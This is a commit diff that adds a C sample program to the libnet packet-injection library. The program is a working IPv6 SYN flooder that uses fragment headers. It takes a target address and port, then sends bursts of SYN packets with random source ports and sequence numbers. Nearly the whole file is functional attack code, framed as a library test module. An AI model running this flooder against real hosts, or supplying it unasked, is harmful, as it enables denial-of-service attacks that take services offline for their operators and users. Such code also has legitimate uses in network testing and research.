diff options
Diffstat (limited to 'libnet/sample/synflood6_frag.c')
| -rw-r--r-- | libnet/sample/synflood6_frag.c | 234 |
1 files changed, 234 insertions, 0 deletions
diff --git a/libnet/sample/synflood6_frag.c b/libnet/sample/synflood6_frag.c new file mode 100644 index 0000000..54e2aab --- /dev/null +++ b/libnet/sample/synflood6_frag.c @@ -0,0 +1,234 @@ +/* + * $Id: synflood6_frag.c,v 1.1 2004/01/03 20:31:01 mike Exp $ + * + * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com> + * SYN flooder rewritten for no good reason. Again as libnet test module. + * Again for libnet 1.1. + * All rights reserved. + * + * Modifications for ipv6 by Stefan Schlott <stefan@ploing.de> + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +struct t_pack +{ + struct libnet_ipv6_hdr ip; + struct libnet_tcp_hdr tcp; +}; + + +int +main(int argc, char **argv) +{ + struct libnet_in6_addr dst_ip; + struct libnet_in6_addr src_ip; + u_short dst_prt = 0; + u_short src_prt = 0; + libnet_t *l; + libnet_ptag_t tcp, ip, ip_frag; + u_char *cp; + char errbuf[LIBNET_ERRBUF_SIZE]; + int i, j, c, packet_amt, burst_int, burst_amt; + char srcname[100], dstname[100]; + u_int8_t payload[56]; + + packet_amt = 0; + burst_int = 0; + burst_amt = 1; + tcp = ip_frag = ip = LIBNET_PTAG_INITIALIZER; + + printf("libnet 1.1 syn flooding: TCP IPv6 fragments [raw]\n"); + + l = libnet_init( + LIBNET_RAW6, /* injection type */ + NULL, /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + while((c = getopt(argc, argv, "t:a:i:b:")) != EOF) + { + switch (c) + { + case 't': + if (!(cp = strrchr(optarg, '/'))) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + *cp++ = 0; + dst_prt = (u_short)atoi(cp); + dst_ip = libnet_name2addr6(l, optarg, 1); + if (strncmp((char*)&dst_ip, + (char*)&in6addr_error,sizeof(in6addr_error))==0) + { + fprintf(stderr, "Bad IPv6 address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'a': + packet_amt = atoi(optarg); + break; + case 'i': + burst_int = atoi(optarg); + break; + case 'b': + burst_amt = atoi(optarg); + break; + default: + usage(argv[0]); + exit(EXIT_FAILURE); + } + } + + src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE); + /* src_ip = libnet_name2addr6(l, + "3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE); + dst_prt = 113; + dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE); + packet_amt = 1; + */ + + if (!dst_prt || strncmp((char*)&dst_ip, + (char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + libnet_seed_prand(l); + libnet_addr2name6_r(src_ip, LIBNET_RESOLVE, srcname, sizeof(srcname)); + libnet_addr2name6_r(dst_ip, LIBNET_RESOLVE, dstname, sizeof(dstname)); + + for(; burst_amt--;) + { + for (i = 0; i < packet_amt; i++) + { + for (j = 0; j < 56; j++) payload[j] = 'A' + ((char)(j % 26)); + + tcp = libnet_build_tcp( + src_prt = libnet_get_prand(LIBNET_PRu16), + dst_prt, + libnet_get_prand(LIBNET_PRu32), + libnet_get_prand(LIBNET_PRu32), + TH_SYN, + libnet_get_prand(LIBNET_PRu16), + 0, + 0, + LIBNET_TCP_H, + NULL, + 0, + l, + tcp); + if (tcp == -1) + { + fprintf(stderr, "Can't build or modify TCP header: %s\n", + libnet_geterror(l)); + return (EXIT_FAILURE); + } + + ip_frag = libnet_build_ipv6_frag( + IPPROTO_TCP, /* next header */ + 0, /* reserved */ + 0, /* frag bits */ + 1, /* ip id */ + NULL, + 0, + l, + ip_frag); + if (ip_frag == -1) + { + fprintf(stderr, "Can't build or modify TCP header: %s\n", + libnet_geterror(l)); + return (EXIT_FAILURE); + } + + ip = libnet_build_ipv6( + 0, 0, + LIBNET_TCP_H, + IPPROTO_TCP, + 64, + src_ip, + dst_ip, + NULL, + 0, + l, + ip); + if (ip == -1) + { + fprintf(stderr, "Can't build or modify TCP header: %s\n", + libnet_geterror(l)); + return (EXIT_FAILURE); + } + + printf("%15s/%5d -> %15s/%5d\n", + srcname, + ntohs(src_prt), + dstname, + dst_prt); + + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l)); + } +#if !(__WIN32__) + usleep(250); +#else + Sleep(250); +#endif + + } +#if !(__WIN32__) + sleep(burst_int); +#else + Sleep(burst_int * 1000); +#endif + } + exit(EXIT_SUCCESS); +} + + +void +usage(char *nomenclature) +{ + fprintf(stderr, + "\n\nusage: %s -t -a [-i -b]\n" + "\t-t target, (ip6:address/port, e.g. ::1/23)\n" + "\t-a number of packets to send per burst\n" + "\t-i packet burst sending interval (defaults to 0)\n" + "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature); +} + + +/* EOF */ |